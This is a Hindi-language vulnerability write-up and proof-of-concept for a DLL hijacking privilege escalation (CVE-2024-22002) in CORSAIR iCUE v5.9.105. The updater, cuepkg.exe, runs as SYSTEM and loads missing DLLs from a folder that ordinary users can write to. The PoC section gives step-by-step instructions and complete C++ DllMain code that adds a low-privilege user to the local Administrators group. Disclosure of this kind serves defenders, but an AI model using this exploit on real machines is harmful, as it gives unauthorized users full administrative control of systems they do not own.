iCUE_DllHijack_LPE-CVE-2024-22002

संवेदनशील सॉफ्टवेयर और संस्करण

• सॉफ्टवेयर डाउनलोड लिंक: CORSAIR iCUE v5.9.105 iCUE Murals के साथ

विवरण

iCUE v5.9.105 में एक DLL हाइजैकिंग कमजोरी की पहचान की गई है। यह कमजोरी अपडेट प्रक्रिया के दौरान होती है, जिसे "iCUEUpdateService" सेवा द्वारा प्रबंधित किया जाता है। सेवा एक प्रक्रिया ("cuepkg.exe") शुरू करती है जो अपडेट करने के लिए जिम्मेदार है, जो "NT AUTHORITY\SYSTEM" विशेषाधिकारों के साथ चलती है। प्रक्रिया शुरू करते समय, यह iCUE इंस्टॉलेशन निर्देशिका के अंदर स्थित निर्देशिका \cuepkg-1.2.6 में विभिन्न DLLs की खोज करती है। इनमें से कुछ DLLs डिफ़ॉल्ट रूप से मौजूद नहीं होते हैं, लेकिन चूंकि एक सामान्य उपयोगकर्ता के पास उस निर्देशिका में फ़ाइलें बनाने का अधिकार होता है, एक हमलावर संभावित रूप से निर्देशिका में एक दुर्भावनापूर्ण DLL डाल सकता है। परिणामस्वरूप, यह दुर्भावनापूर्ण DLL प्रशासक विशेषाधिकारों के साथ cuepkg.exe द्वारा लोड किया जाएगा।

प्रभावित DLLs पहचाने गए निम्नलिखित हैं:

• MSASN1.dll
• NTASN1.dll
• profapi.dll

CVSS वेक्टर: (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

• आधार स्कोर: 7.8 (उच्च)
• अस्थायी स्कोर: 7.8 (उच्च)
• पर्यावरणीय स्कोर: 7.8 (उच्च)

PoC

उदाहरण के तौर पर, DLL profapi.dll लिया जाएगा।

1. अपनी दुर्भावनापूर्ण DLL बनाएं और इसे निर्देशिका %INSTALLDIR%cuepkg-1.2.6 में जोड़ें।
2. प्रोग्राम के स्वचालित रूप से अपडेट होने की प्रतीक्षा करें या, इस मामले में, "अपडेट की जांच करें" पर क्लिक करके अपडेट को बाध्य करें।
3. प्रशासक विशेषाधिकारों के बिना हमारा उपयोगकर्ता समूह में जोड़ा जाता है।

lowpriv उपयोगकर्ता के विशेषाधिकार दुर्भावनापूर्ण DLL निष्पादित होने से पहले:

lowpriv उपयोगकर्ता के विशेषाधिकार दुर्भावनापूर्ण DLL निष्पादित होने के बाद:

• दुर्भावनापूर्ण कोड का उदाहरण:

#include "pch.h"
#include <windows.h>
#include <cstdlib>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
    {
        system("net localgroup Administrators desktop-ckfiane\\lowpriv /add");
    }
    break;
    case DLL_PROCESS_DETACH:
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    }

    return TRUE;
}